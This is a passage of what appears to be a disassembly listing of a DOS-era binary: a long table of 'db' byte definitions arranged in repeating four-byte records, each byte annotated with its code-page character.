		db 0EBh	; К
		db  84h	; └
		db  5Ah	; Z
		db  82h	; ┌
		db 0EBh	; К
		db  14h	;  
		db    3	;  
		db  82h	; ┌
		db 0ECh	; Л
		db    1	;  
		db    9	;  
		db  82h	; ┌
		db 0ECh	; Л
		db  30h	; 0
		db    2	;  
		db  82h	; ┌
		db 0EDh	; М
		db  48h	; H
		db 0C8h	; х
		db  82h	; ┌
		db 0EDh	; М
		db  48h	; H
		db 0C9h	; и
		db  82h	; ┌
		db 0EEh	; Н
		db 0A4h	; є
		db    6	;  
		db  82h	; ┌
		db 0EEh	; Н
		db    4	;  
		db  85h	; ┘
		db  82h	; ┌
		db 0EEh	; Н
		db    7	;  
		db  0Ah	;  
		db  82h	; ┌
		db 0EFh	; О
		db  10h	;  
		db    3	;  
		db  82h	; ┌
		db 0EFh	; О
		db    8	;  
		db  0Ah	;  
		db  82h	; ┌
		db 0F0h	; П
		db    1	;  
		db    1	;  
		db  82h	; ┌
		db 0F0h	; П
		db  13h	;  
		db    2	;  
		db  82h	; ┌
		db 0F1h	; Я
		db  96h	; √
		db    2	;  
		db  82h	; ┌
		db 0F1h	; Я
		db  19h	;  
		db    5	;  
		db  82h	; ┌
		db 0F5h	; У
		db    1	;  
		db  0Fh	;  
		db  82h	; ┌
		db 0F6h	; Ж
		db  48h	; H
		db  15h	;  
		db  82h	; ┌
		db 0F6h	; Ж
		db    8	;  
		db  0Dh	;  
		db  82h	; ┌
		db 0FBh	; Ш
		db    1	;  
		db    4	;  
		db  82h	; ┌
		db 0FBh	; Ш
		db  15h	;  
		db    8	;  
		db  82h	; ┌
		db 0FDh	; Щ
		db    1	;  
		db  0Dh	;  
		db  82h	; ┌
		db 0FEh	; Ч
		db    4	;  
		db    1	;  
		db  82h	; ┌
		db  21h	; !
		db    8	;  
		db  1Bh	;  
		db  82h	; ┌
		db  21h	; !
		db    8	;  
		db  29h	; )
		db  82h	; ┌
		db  22h	; "
		db  0Bh	;  
		db  6Fh	; o
		db  82h	; ┌
		db  22h	; "
		db  0Bh	;  
		db  75h	; u
		db  82h	; ┌
		db  24h	; $
		db  1Eh	;  
		db  0Dh	;  
		db  82h	; ┌
		db  24h	; $
		db  3Dh	; =
		db 0C8h	; х
		db  82h	; ┌
		db  24h	; $
		db  3Eh	; >
		db 0C8h	; х
		db  82h	; ┌
		db  25h	; %
		db  81h	; │
		db    4	;  
		db  82h	; ┌
		db  25h	; %
		db  18h	;  
		db    6	;  
		db  82h	; ┌
		db  27h	; '
		db  80h	; ─
		db  47h	; G
		db  82h	; ┌
		db  27h	; '
		db 0FEh	; Ч
		db  1Eh	;  
		db  82h	; ┌
		db  27h	; '
		db 0FEh	; Ч
		db    5	;  
		db  82h	; ┌
		db  27h	; '
		db    3	;  
		db    5	;  
		db  82h	; ┌
		db  29h	; )
		db    1	;  
		db 0FBh	; Ш
		db  82h	; ┌
		db  2Ch	; ,
		db 0D2h	; р
		db  0Eh	;  
		db  82h	; ┌
		db  2Fh	; /
		db  22h	; "
		db    2	;  
		db  82h	; ┌
		db  32h	; 2
		db  17h	;  
		db    2	;  
		db  82h	; ┌
		db  35h	; 5
		db    1	;  
		db    8	;  
		db  82h	; ┌
		db  35h	; 5
		db    1	;  
		db    9	;  
		db  82h	; ┌
		db  36h	; 6
		db    8	;  
		db  0Dh	;  
		db  82h	; ┌
		db  39h	; 9
		db  1Bh	;  
		db    1	;  
		db  82h	; ┌
		db  39h	; 9
		db    4	;  
		db    1	;  
		db  82h	; ┌
		db  3Ah	; :
		db  44h	; D
		db  0Ah	;  
		db  82h	; ┌
		db  3Bh	; ;
		db    1	;  
		db  1Eh	;  
		db  82h	; ┌
		db  3Bh	; ;
		db  0Ah	;  
		db  1Eh	;  
		db  82h	; ┌
		db  3Ch	; <
		db  80h	; ─
		db    3	;  
		db  82h	; ┌
		db  3Ch	; <
		db  44h	; D
		db  33h	; 3
		db  82h	; ┌
		db  3Fh	; ?
		db 0A8h	; ╗
		db  15h	;  
		db  82h	; ┌
		db  3Fh	; ?
		db 0EDh	; М
		db  63h	; c
		db  82h	; ┌
		db  40h	; @
		db    1	;  
		db    8	;  
		db  82h	; ┌
		db  40h	; @
		db    5	;  
		db    8	;  
		db  82h	; ┌
		db  41h	; A
		db  78h	; x
		db    1	;  
		db  82h	; ┌
		db  41h	; A
		db  19h	;  
		db    1	;  
		db  82h	; ┌
		db  41h	; A
		db    3	;  
		db    1	;  
		db  82h	; ┌
		db  42h	; B
		db  21h	; !
		db    3	;  
		db  82h	; ┌
		db  43h	; C
		db  3Ch	; <
		db  42h	; B
		db  82h	; ┌
		db  46h	; F
		db  28h	; (
		db  19h	;  
		db  82h	; ┌
		db  47h	; G
		db  80h	; ─
		db    8	;  
		db  82h	; ┌
		db  49h	; I
		db  6Ch	; l
		db    1	;  
		db  82h	; ┌
		db  4Ah	; J
		db    1	;  
		db  4Bh	; K
		db  82h	; ┌
		db  4Ah	; J
		db  80h	; ─
		db    4	;  
		db  82h	; ┌
		db  4Bh	; K
		db    1	;  
		db  20h	;  
		db  82h	; ┌
		db  4Eh	; N
		db  8Fh	; ▐
		db    1	;  
		db  82h	; ┌
		db  4Fh	; O
		db 0C8h	; х
		db    1	;  
		db  82h	; ┌
		db  50h	; P
		db  1Dh	;  
		db  16h	;  
		db  82h	; ┌
		db  52h	; R
		db  80h	; ─
		db    1	;  
		db  82h	; ┌
		db  52h	; R
		db  80h	; ─
		db    2	;  
		db  82h	; ┌
		db  53h	; S
		db  16h	;  
		db  3Ch	; <
		db  82h	; ┌
		db  53h	; S
		db  16h	;  
		db  3Fh	; ?
		db  82h	; ┌
		db  53h	; S
		db  38h	; 8
		db  3Ch	; <
		db  82h	; ┌
		db  54h	; T
		db  20h	;  
		db    8	;  
		db  82h	; ┌
		db  54h	; T
		db    8	;  
		db  0Eh	;  
		db  82h	; ┌
		db  55h	; U
		db    1	;  
		db    3	;  
		db  82h	; ┌
		db  55h	; U
		db    1	;  
		db    4	;  
		db  82h	; ┌
		db  55h	; U
		db    1	;  
		db    5	;  
		db  82h	; ┌
		db  57h	; W
		db  22h	; "
		db    2	;  
		db  82h	; ┌
		db  57h	; W
		db  22h	; "
		db    6	;  
		db  82h	; ┌
		db  58h	; X
		db 0C0h	; ю
		db    2	;  
		db  82h	; ┌
		db  58h	; X
		db 0C8h	; х
		db    4	;  
		db  82h	; ┌
		db  58h	; X
		db 0C8h	; х
		db    6	;  
		db  82h	; ┌
		db  59h	; Y
		db    1	;  
		db    2	;  
		db  82h	; ┌
		db  59h	; Y
		db 0DCh	; э
		db    2	;  
		db  82h	; ┌
		db  5Ch	; \
		db    9	;  
		db  34h	; 4
		db  82h	; ┌
		db  5Fh	; _
		db  80h	; ─
		db    1	;  
		db  82h	; ┌
		db  5Fh	; _
		db  80h	; ─
		db    2	;  
		db  83h	; ┐
		db  0Ah	;  
		db 0FEh	; Ч
		db  28h	; (
		db  83h	; ┐
		db  0Ah	;  
		db 0FEh	; Ч
		db  3Ch	; <
		db  83h	; ┐
		db  67h	; g
		db    1	;  
		db  65h	; e
		db  83h	; ┐
		db  68h	; h
		db  88h	; ┬
		db  0Bh	;  
		db  83h	; ┐
		db  68h	; h
		db  14h	;  
		db  0Ah	;  
		db  83h	; ┐
		db  68h	; h
		db  60h	; `
		db  14h	;  
		db  83h	; ┐
		db  6Ah	; j
		db    1	;  
		db  29h	; )
		db  83h	; ┐
		db  6Bh	; k
		db    1	;  
		db 0F0h	; П
		db  83h	; ┐
		db  6Dh	; m
		db  1Fh	;  
		db  64h	; d
		db  83h	; ┐
		db  6Eh	; n
		db  34h	; 4
		db 0C8h	; х
		db  83h	; ┐
		db  6Eh	; n
		db  34h	; 4
		db 0C9h	; и
		db  83h	; ┐
		db  6Fh	; o
		db  0Ch	;  
		db  14h	;  
		db  83h	; ┐
		db  6Fh	; o
		db    8	;  
		db  2Ah	; *
		db  83h	; ┐
		db  70h	; p
		db  7Dh	; }
		db  10h	;  
		db  83h	; ┐
		db  70h	; p
		db  7Dh	; }
		db    4	;  
		db  83h	; ┐
		db  71h	; q
		db    1	;  
		db    1	;  
		db  83h	; ┐
		db  72h	; r
		db  15h	;  
		db  0Ah	;  
		db  83h	; ┐
		db  73h	; s
		db  73h	; s
		db  32h	; 2
		db  83h	; ┐
		db  73h	; s
		db  0Fh	;  
		db    7	;  
		db  83h	; ┐
		db  76h	; v
		db    1	;  
		db  1Eh	;  
		db  83h	; ┐
		db  76h	; v
		db 0FEh	; Ч
		db    1	;  
		db  83h	; ┐
		db  76h	; v
		db 0FEh	; Ч
		db  81h	; │
		db  83h	; ┐
		db  77h	; w
		db 0F5h	; У
		db    5	;  
		db  83h	; ┐
		db  77h	; w
		db 0F5h	; У
		db    6	;  
		db  83h	; ┐
		db  78h	; x
		db 0FEh	; Ч
		db  34h	; 4
		db  83h	; ┐
		db  78h	; x
		db 0FEh	; Ч
		db  3Ah	; :
		db  83h	; ┐
		db  79h	; y
		db    1	;  
		db    1	;  
		db  83h	; ┐
		db  79h	; y
		db    1	;  
		db    2	;  
		db  83h	; ┐
		db  7Bh	; {
		db    1	;  
		db    1	;  
		db  83h	; ┐
		db  7Dh	; }
		db    1	;  
		db    1	;  
		db  83h	; ┐
		db  7Eh	; ~
		db 0DCh	; э
		db    6	;  
		db  83h	; ┐
		db  80h	; ─
		db    1	;  
		db  7Fh	; 
		db  83h	; ┐
		db  82h	; ┌
		db    1	;  
		db  0Bh	;  
		db  83h	; ┐
		db  82h	; ┌
		db    1	;  
		db  0Ch	;  
		db  83h	; ┐
		db  83h	; ┐
		db  0Ah	;  
		db  14h	;  
		db  83h	; ┐
		db  83h	; ┐
		db  83h	; ┐
		db  83h	; ┐
		db  83h	; ┐
		db  88h	; ┬
		db 0F2h	; Р
		db    3	;  
		db  83h	; ┐
		db  88h	; ┬
		db 0F2h	; Р
		db    4	;  
		db  83h	; ┐
		db  89h	; ┴
		db 0FFh	;  
		db    2	;  
		db  83h	; ┐
		db  89h	; ┴
		db  60h	; `
		db    3	;  
		db  83h	; ┐
		db  0Eh	;  
		db  78h	; x
		db  0Ch	;  
		db  83h	; ┐
		db  0Eh	;  
		db  91h	; ▒
		db  0Bh	;  
		db  83h	; ┐
		db  90h	; ░
		db    4	;  
		db  0Ah	;  
		db  83h	; ┐
		db  90h	; ░
		db    4	;  
		db    9	;  
		db  83h	; ┐
		db  92h	; ▓
		db    2	;  
		db    1	;  
		db  83h	; ┐
		db  95h	; ∙
		db    0	;  
		db    3	;  
		db  83h	; ┐
		db  95h	; ∙
		db    1	;  
		db    2	;  
		db  83h	; ┐
		db  0Fh	;  
		db  88h	; ┬
		db    2	;  
		db  83h	; ┐
		db  97h	; ≈
		db    1	;  
		db    7	;  
		db  83h	; ┐
		db  97h	; ≈
		db 0FEh	; Ч
		db 0F3h	; С
		db  83h	; ┐
		db  9Ah	;  
		db    1	;  
		db  0Bh	;  
		db  83h	; ┐
		db  9Ah	;  
		db    1	;  
		db    3	;  
		db  83h	; ┐
		db  9Ah	;  
		db    3	;  
		db    1	;  
		db  83h	; ┐
		db  9Bh	; ⌡
		db    2	;  
		db    3	;  
		db  83h	; ┐
		db  9Bh	; ⌡
		db    2	;  
		db    7	;  
		db  83h	; ┐
		db  9Ch	; °
		db    1	;  
		db  0Bh	;  
		db  83h	; ┐
		db  9Ch	; °
		db  7Eh	; ~
		db    2	;  
		db  83h	; ┐
		db  9Eh	; ·
		db    4	;  
		db    7	;  
		db  83h	; ┐
		db  9Eh	; ·
		db    4	;  
		db    8	;  
		db  83h	; ┐
		db  9Eh	; ·
		db  32h	; 2
		db  28h	; (
		db  83h	; ┐
		db  9Eh	; ·
		db  32h	; 2
		db  41h	; A
		db  83h	; ┐
		db  9Fh	; ÷
		db    0	;  
		db    1	;  
		db  83h	; ┐
		db  9Fh	; ÷
		db    0	;  
		db  51h	; Q
		db  83h	; ┐
		db 0A1h	; ║
		db    1	;  
		db    1	;  
		db  83h	; ┐
		db 0A1h	; ║
		db    2	;  
		db    1	;  
		db  83h	; ┐
		db 0A1h	; ║
		db 0E9h	; И
		db  2Eh	; .
		db  83h	; ┐
		db 0A1h	; ║
		db 0F6h	; Ж
		db 0F1h	; Я
		db  83h	; ┐
		db 0A1h	; ║
		db 0FAh	; З
		db  67h	; g
		db  83h	; ┐
		db 0A1h	; ║
		db    3	;  
		db    1	;  
		db  83h	; ┐
		db 0A1h	; ║
		db  3Ch	; <
		db  0Ah	;  
		db  83h	; ┐
		db 0A2h	; ╒
		db    2	;  
		db  5Ah	; Z
		db  83h	; ┐
		db 0A5h	; ╔
		db  3Fh	; ?
		db  51h	; Q
		db  83h	; ┐
		db 0A5h	; ╔
		db  3Fh	; ?
		db  53h	; S
		db  83h	; ┐
		db 0A6h	; і
		db    1	;  
		db    5	;  
		db  83h	; ┐
		db 0A7h	; ї
		db    1	;  
		db    2	;  
		db  83h	; ┐
		db 0A9h	; ╘
		db 0C8h	; х
		db    2	;  
		db  83h	; ┐
		db  11h	;  
		db 0B1h	; ╠
		db    1	;  
		db  83h	; ┐
		db 0AAh	; ╙
		db    1	;  
		db    1	;  
		db  83h	; ┐
		db 0ABh	; ╚
		db  0Bh	;  
		db  0Bh	;  
		db  83h	; ┐
		db 0ACh	; ╛
		db    2	;  
		db    2	;  
		db  83h	; ┐
		db 0ADh	; ґ
		db 0F5h	; У
		db    1	;  
		db  83h	; ┐
		db 0ADh	; ґ
		db 0F5h	; У
		db    2	;  
		db  83h	; ┐
		db 0AEh	; ў
		db 0E0h	; Ю
		db    4	;  
		db  83h	; ┐
		db 0AEh	; ў
		db  3Ch	; <
		db  15h	;  
		db  83h	; ┐
		db 0AFh	; ╞
		db    1	;  
		db    2	;  
		db  83h	; ┐
		db 0AFh	; ╞
		db    1	;  
		db    4	;  
		db  83h	; ┐
		db 0B0h	; ╟
		db  1Ah	;  
		db    2	;  
		db  83h	; ┐
		db 0B0h	; ╟
		db  1Ah	;  
		db    3	;  
		db  83h	; ┐
		db 0B2h	; ╡
		db    1	;  
		db    1	;  
		db  83h	; ┐
		db 0B2h	; ╡
		db  26h	; &
		db  27h	; '
		db  83h	; ┐
		db 0B3h	; Ё
		db  80h	; ─
		db  10h	;  
		db  83h	; ┐
		db 0B3h	; Ё
		db  80h	; ─
		db  1Eh	;  
		db  83h	; ┐
		db 0B5h	; ╣
		db    1	;  
		db    3	;  
		db  83h	; ┐
		db 0B5h	; ╣
		db 0FEh	; Ч
		db  63h	; c
		db  83h	; ┐
		db 0B5h	; ╣
		db  47h	; G
		db  0Ch	;  
		db  83h	; ┐
		db 0B5h	; ╣
		db  47h	; G
		db    2	;  
		db  83h	; ┐
		db 0B5h	; ╣
		db  61h	; a
		db  0Ah	;  
		db  83h	; ┐
		db 0B7h	; Ї
		db    1	;  
		db    1	;  
		db  83h	; ┐
		db 0B8h	; ╦
		db  60h	; `
		db  21h	; !
		db  83h	; ┐
		db 0BCh	; ╪
		db    3	;  
		db    2	;  
		db  83h	; ┐
		db 0BCh	; ╪
		db  2Ch	; ,
		db  2Dh	; -
		db  83h	; ┐
		db 0BDh	; Ґ
		db 0A5h	; ╔
		db 0EFh	; О
		db  83h	; ┐
		db 0BDh	; Ґ
		db  1Dh	;  
		db 0F1h	; Я
		db  83h	; ┐
		db 0BFh	; ©
		db 0FEh	; Ч
		db  28h	; (
		db  83h	; ┐
		db 0BFh	; ©
		db    7	;  
		db    3	;  
		db  83h	; ┐
		db 0C1h	; а
		db  20h	;  
		db 0FEh	; Ч
		db  83h	; ┐
		db 0C1h	; а
		db  28h	; (
		db 0FEh	; Ч
		db  83h	; ┐
		db 0C2h	; б
		db  82h	; ┌
		db  0Bh	;  
		db  83h	; ┐
		db 0C2h	; б
		db  97h	; ≈
		db    1	;  
		db  83h	; ┐
		db 0C9h	; и
		db 0B1h	; ╠
		db  0Bh	;  
		db  83h	; ┐
		db 0CAh	; й
		db    1	;  
		db    3	;  
		db  83h	; ┐
		db 0CAh	; й
		db    3	;  
		db    4	;  
		db  83h	; ┐
		db 0CBh	; к
		db    1	;  
		db    5	;  
		db  83h	; ┐
		db 0CBh	; к
		db 0F8h	; Ь
		db    1	;  
		db  83h	; ┐
		db 0CCh	; л
		db  0Ah	;  
		db  0Dh	;  
		db  83h	; ┐
		db 0CCh	; л
		db    2	;  
		db  0Ah	;  
		db  83h	; ┐
		db 0CCh	; л
		db  29h	; )
		db    3	;  
		db  83h	; ┐
		db 0CEh	; н
		db    2	;  
		db  0Ah	;  
		db  83h	; ┐
		db 0CFh	; о
		db    1	;  
		db  0Bh	;  
		db  83h	; ┐
		db 0D1h	; я
		db    1	;  
		db  10h	;  
		db  83h	; ┐
		db 0D1h	; я
		db    1	;  
		db    4	;  
		db  83h	; ┐
		db 0D2h	; р
		db    1	;  
		db  0Fh	;  
		db  83h	; ┐
		db 0D3h	; с
		db  10h	;  
		db  20h	;  
		db  83h	; ┐
		db 0D3h	; с
		db    4	;  
		db    5	;  
		db  83h	; ┐
		db 0D3h	; с
		db    4	;  
		db    6	;  
		db  83h	; ┐
		db 0D7h	; в
		db  8Bh	; ▀
		db  64h	; d
		db  83h	; ┐
		db 0D7h	; в
		db 0FEh	; Ч
		db  64h	; d
		db  83h	; ┐
		db 0D7h	; в
		db 0FEh	; Ч
		db  63h	; c
		db  83h	; ┐
		db 0D8h	; ь
		db    1	;  
		db  0Bh	;  
		db  83h	; ┐
		db 0D8h	; ь
		db  16h	;  
		db    2	;  
		db  83h	; ┐
		db 0D9h	; ы
		db    1	;  
		db  13h	;  
		db  83h	; ┐
		db 0D9h	; ы
		db  0Ah	;  
		db    1	;  
		db  83h	; ┐
		db 0DCh	; э
		db  0Eh	;  
		db 0CBh	; к
		db  83h	; ┐
		db 0DCh	; э
		db  10h	;  
		db 0DCh	; э
		db  83h	; ┐
		db 0DCh	; э
		db  12h	;  
		db  8Ah	; ┼
		db  83h	; ┐
		db 0E0h	; Ю
		db    1	;  
		db  14h	;  
		db  83h	; ┐
		db 0E0h	; Ю
		db    2	;  
		db  0Ch	;  
		db  83h	; ┐
		db 0E1h	; А
		db  11h	;  
		db  96h	; √
		db  83h	; ┐
		db 0E1h	; А
		db    8	;  
		db  78h	; x
		db  83h	; ┐
		db 0E3h	; Ц
		db  64h	; d
		db  0Ch	;  
		db  83h	; ┐
		db 0E3h	; Ц
		db  66h	; f
		db    6	;  
		db  83h	; ┐
		db 0E3h	; Ц
		db  66h	; f
		db  5Bh	; [
		db  83h	; ┐
		db 0E4h	; Д
		db  14h	;  
		db  13h	;  
		db  83h	; ┐
		db 0E4h	; Д
		db  14h	;  
		db  14h	;  
		db  83h	; ┐
		db 0E5h	; Е
		db  40h	; @
		db    2	;  
		db  83h	; ┐
		db 0E6h	; Ф
		db 0FCh	; Э
		db    1	;  
		db  83h	; ┐
		db 0E6h	; Ф
		db 0FCh	; Э
		db    2	;  
		db  83h	; ┐
		db 0E7h	; Г
		db  10h	;  
		db  10h	;  
		db  83h	; ┐
		db 0E7h	; Г
		db  10h	;  
		db    7	;  
		db  83h	; ┐
		db 0E8h	; Х
		db  0Ah	;  
		db    2	;  
		db  83h	; ┐
		db 0EAh	; Й
		db  16h	;  
		db    3	;  
		db  83h	; ┐
		db 0EAh	; Й
		db  16h	;  
		db  1Eh	;  
		db  83h	; ┐
		db 0ECh	; Л
		db    1	;  
		db  11h	;  
		db  83h	; ┐
		db 0ECh	; Л
		db    1	;  
		db    2	;  
		db  83h	; ┐
		db 0EEh	; Н
		db  4Bh	; K
		db 0A5h	; ╔
		db  83h	; ┐
		db  18h	;  
		db  77h	; w
		db  0Ah	;  
		db  83h	; ┐
		db 0F1h	; Я
		db  0Fh	;  
		db    5	;  
		db  83h	; ┐
		db 0F3h	; С
		db  40h	; @
		db    2	;  
		db  83h	; ┐
		db 0F3h	; С
		db  40h	; @
		db    3	;  
		db  83h	; ┐
		db 0F4h	; Т
		db    1	;  
		db    1	;  
		db  83h	; ┐
		db 0F4h	; Т
		db  0Eh	;  
		db    1	;  
		db  83h	; ┐
		db 0F6h	; Ж
		db  89h	; ┴
		db  32h	; 2
		db  83h	; ┐
		db 0F6h	; Ж
		db    9	;  
		db  74h	; t
		db  83h	; ┐
		db 0F7h	; В
		db    1	;  
		db  28h	; (
		db  83h	; ┐
		db 0F7h	; В
		db  64h	; d
		db    1	;  
		db  83h	; ┐
		db 0F8h	; Ь
		db  3Ah	; :
		db    1	;  
		db  83h	; ┐
		db 0F9h	; Ы
		db    1	;  
		db    2	;  
		db  83h	; ┐
		db 0FAh	; З
		db  40h	; @
		db  0Eh	;  
		db  83h	; ┐
		db 0FAh	; З
		db  40h	; @
		db    2	;  
		db  83h	; ┐
		db 0FBh	; Ш
		db    0	;  
		db  0Ah	;  
		db  83h	; ┐
		db 0FBh	; Ш
		db    0	;  
		db    4	;  
		db  83h	; ┐
		db 0FCh	; Э
		db  81h	; │
		db  35h	; 5
		db  83h	; ┐
		db 0FCh	; Э
		db 0D0h	; п
		db  26h	; &
		db  83h	; ┐
		db 0FEh	; Ч
		db 0FEh	; Ч
		db    2	;  
		db  83h	; ┐
		db 0FEh	; Ч
		db    6	;  
		db  80h	; ─
		db  83h	; ┐
		db    3	;  
		db  80h	; ─
		db    4	;  
		db  83h	; ┐
		db  1Eh	;  
		db 0E0h	; Ю
		db    7	;  
		db  83h	; ┐
		db  20h	;  
		db 0F6h	; Ж
		db    2	;  
		db  83h	; ┐
		db  23h	; #
		db  8Ah	; ┼
		db    2	;  
		db  83h	; ┐
		db  24h	; $
		db  74h	; t
		db  20h	;  
		db  83h	; ┐
		db  24h	; $
		db  74h	; t
		db  3Bh	; ;
		db  83h	; ┐
		db  25h	; %
		db 0CEh	; н
		db    2	;  
		db  83h	; ┐
		db  25h	; %
		db 0CEh	; н
		db  19h	;  
		db  83h	; ┐
		db  26h	; &
		db 0D6h	; ж
		db    2	;  
		db  83h	; ┐
		db  26h	; &
		db 0D6h	; ж
		db    6	;  
		db  83h	; ┐
		db  27h	; '
		db 0F8h	; Ь
		db    2	;  
		db  83h	; ┐
		db  27h	; '
		db 0F8h	; Ь
		db    6	;  
		db  83h	; ┐
		db  2Ch	; ,
		db  79h	; y
		db    5	;  
		db  83h	; ┐
		db  2Eh	; .
		db  29h	; )
		db  33h	; 3
		db  83h	; ┐
		db  2Eh	; .
		db  29h	; )
		db  36h	; 6
		db  83h	; ┐
		db  2Fh	; /
		db  64h	; d
		db  1Eh	;  
		db  83h	; ┐
		db  30h	; 0
		db 0F0h	; П
		db    3	;  
		db  83h	; ┐
		db  32h	; 2
		db  97h	; ≈
		db    3	;  
		db  83h	; ┐
		db  32h	; 2
		db  97h	; ≈
		db    5	;  
		db  83h	; ┐
		db  33h	; 3
		db  80h	; ─
		db    5	;  
		db  83h	; ┐
		db  34h	; 4
		db  79h	; y
		db    2	;  
		db  83h	; ┐
		db  34h	; 4
		db  79h	; y
		db    4	;  
		db  83h	; ┐
		db  35h	; 5
		db  80h	; ─
		db    3	;  
		db  83h	; ┐
		db  35h	; 5
		db  80h	; ─
		db  35h	; 5
		db  83h	; ┐
		db  36h	; 6
		db  79h	; y
		db    1	;  
		db  83h	; ┐
		db  36h	; 6
		db  79h	; y
		db  0Bh	;  
		db  83h	; ┐
		db  36h	; 6
		db  79h	; y
		db  14h	;  
		db  83h	; ┐
		db  37h	; 7
		db  79h	; y
		db  0Bh	;  
		db  83h	; ┐
		db  37h	; 7
		db  79h	; y
		db    2	;  
		db  83h	; ┐
		db  3Ah	; :
		db 0D0h	; п
		db 0FAh	; З
		db  83h	; ┐
		db  3Bh	; ;
		db 0C8h	; х
		db  0Ah	;  
		db  83h	; ┐
		db  3Bh	; ;
		db 0C8h	; х
		db    3	;  
		db  83h	; ┐
		db    6	;  
		db  54h	; T
		db    2	;  
		db  83h	; ┐
		db    6	;  
		db  54h	; T
		db    3	;  
		db  83h	; ┐
		db    6	;  
		db  54h	; T
		db  45h	; E
		db  83h	; ┐
		db  3Dh	; =
		db 0D3h	; с
		db  0Bh	;  
		db  83h	; ┐
		db  3Dh	; =
		db 0D3h	; с
		db    2	;  
		db  83h	; ┐
		db  3Fh	; ?
		db  32h	; 2
		db    1	;  
		db  83h	; ┐
		db  3Fh	; ?
		db  32h	; 2
		db    2	;  
		db  83h	; ┐
		db  40h	; @
		db    4	;  
		db    4	;  
		db  83h	; ┐
		db  40h	; @
		db    8	;  
		db    1	;  
		db  83h	; ┐
		db  42h	; B
		db    1	;  
		db    2	;  
		db  83h	; ┐
		db  44h	; D
		db    3	;  
		db    1	;  
		db  83h	; ┐
		db    7	;  
		db  34h	; 4
		db    3	;  
		db  83h	; ┐
		db    7	;  
		db  34h	; 4
		db    9	;  
		db  83h	; ┐
		db  4Ah	; J
		db 0A0h	; ═
		db  67h	; g
		db  83h	; ┐
		db  4Ah	; J
		db 0A0h	; ═
		db  68h	; h
		db  83h	; ┐
		db  4Dh	; M
		db  3Ch	; <
		db 0FDh	; Щ
		db  83h	; ┐
		db  4Dh	; M
		db  3Dh	; =
		db 0FDh	; Щ
		db  83h	; ┐
		db  50h	; P
		db    1	;  
		db  0Ch	;  
		db  83h	; ┐
		db  50h	; P
		db    1	;  
		db    8	;  
		db  83h	; ┐
		db  51h	; Q
		db    1	;  
		db    1	;  
		db  83h	; ┐
		db  54h	; T
		db    1	;  
		db  29h	; )
		db  83h	; ┐
		db  54h	; T
		db    1	;  
		db  2Ah	; *
		db  83h	; ┐
		db  59h	; Y
		db  80h	; ─
		db  0Ah	;  
		db  83h	; ┐
		db  5Dh	; ]
		db    0	;  
		db    1	;  
		db  83h	; ┐
		db  5Eh	; ^
		db  80h	; ─
		db    2	;  
		db  83h	; ┐
		db  5Fh	; _
		db  54h	; T
		db    2	;  
		db  84h	; └
		db    1	;  
		db 0CFh	; о
		db    2	;  
		db  84h	; └
		db    1	;  
		db 0CFh	; о
		db    3	;  
		db  84h	; └
		db  0Ah	;  
		db 0FAh	; З
		db  0Fh	;  
		db  84h	; └
		db  0Ah	;  
		db 0FAh	; З
		db    3	;  
		db  84h	; └
		db  92h	; ▓
		db  89h	; ┴
		db    1	;  
		db  84h	; └
		db  92h	; ▓
		db    5	;  
		db    1	;  
		db  84h	; └
		db  93h	; ⌠
		db  80h	; ─
		db    2	;  
		db  84h	; └
		db  93h	; ⌠
		db  40h	; @
		db    1	;  
		db  84h	; └
		db  94h	; ■
		db  50h	; P
		db 0D3h	; с
		db  84h	; └
		db  0Fh	;  
		db 0E1h	; А
		db    2	;  
		db  84h	; └
		db  0Fh	;  
		db 0E1h	; А
		db 0D2h	; р
		db  84h	; └
		db  0Fh	;  
		db 0E1h	; А
		db 0D3h	; с
		db  84h	; └
		db  96h	; √
		db    8	;  
		db    1	;  
		db  84h	; └
		db  97h	; ≈
		db    1	;  
		db    1	;  
		db  84h	; └
		db  97h	; ≈
		db    1	;  
		db  13h	;  
		db  84h	; └
		db  99h	; ≥
		db    3	;  
		db    2	;  
		db  84h	; └
		db  9Ch	; °
		db  24h	; $
		db    1	;  
		db  84h	; └
		db  9Ch	; °
		db  24h	; $
		db  0Eh	;  
		db  84h	; └
		db  9Eh	; ·
		db  31h	; 1
		db    3	;  
		db  84h	; └
		db  9Eh	; ·
		db  52h	; R
		db  24h	; $
		db  84h	; └
		db  10h	;  
		db  73h	; s
		db  0Ah	;  
		db  84h	; └
		db 0A1h	; ║
		db  0Ah	;  
		db  3Ch	; <
		db  84h	; └
		db 0A2h	; ╒
		db  20h	;  
		db 0F3h	; С
		db  84h	; └
		db 0A3h	; ё
		db    4	;  
		db    9	;  
		db  84h	; └
		db 0A6h	; і
		db 0C0h	; ю
		db    6	;  
		db  84h	; └
		db 0A6h	; і
		db 0C0h	; ю
		db    7	;  
		db  84h	; └
		db 0A8h	; ╗
		db  94h	; ■
		db  0Bh	;  
		db  84h	; └
		db 0A9h	; ╘
		db  80h	; ─
		db    1	;  
		db  84h	; └
		db 0AAh	; ╙
		db 0F0h	; П
		db  0Fh	;  
		db  84h	; └
		db 0AAh	; ╙
		db 0F9h	; Ы
		db  0Fh	;  
		db  84h	; └
		db 0AEh	; ў
		db  0Bh	;  
		db 0FCh	; Э
		db  84h	; └
		db 0AEh	; ў
		db  0Bh	;  
		db 0FDh	; Щ
		db  84h	; └
		db 0AFh	; ╞
		db    1	;  
		db    3	;  
		db  84h	; └
		db 0AFh	; ╞
		db 0F9h	; Ы
		db    6	;  
		db  84h	; └
		db 0B0h	; ╟
		db  72h	; r
		db  17h	;  
		db  84h	; └
		db 0B0h	; ╟
		db  72h	; r
		db  18h	;  
		db  84h	; └
		db 0B0h	; ╟
		db  41h	; A
		db  14h	;  
		db  84h	; └
		db 0B1h	; ╠
		db  64h	; d
		db  1Fh	;  
		db  84h	; └
		db 0B1h	; ╠
		db  65h	; e
		db  20h	;  
		db  84h	; └
		db 0B1h	; ╠
		db  80h	; ─
		db  38h	; 8
		db  84h	; └
		db 0B1h	; ╠
		db  80h	; ─
		db  63h	; c
		db  84h	; └
		db 0B2h	; ╡
		db  10h	;  
		db    3	;  
		db  84h	; └
		db 0B3h	; Ё
		db  27h	; '
		db    1	;  
		db  84h	; └
		db  12h	;  
		db  80h	; ─
		db    2	;  
		db  84h	; └
		db  12h	;  
		db  80h	; ─
		db  32h	; 2
		db  84h	; └
		db 0B4h	; Є
		db  0Fh	;  
		db    4	;  
		db  84h	; └
		db 0B4h	; Є
		db  0Fh	;  
		db    5	;  
		db  84h	; └
		db 0B5h	; ╣
		db    2	;  
		db  26h	; &
		db  84h	; └
		db 0B5h	; ╣
		db    2	;  
		db  27h	; '
		db  84h	; └
		db 0B7h	; Ї
		db    1	;  
		db  0Bh	;  
		db  84h	; └
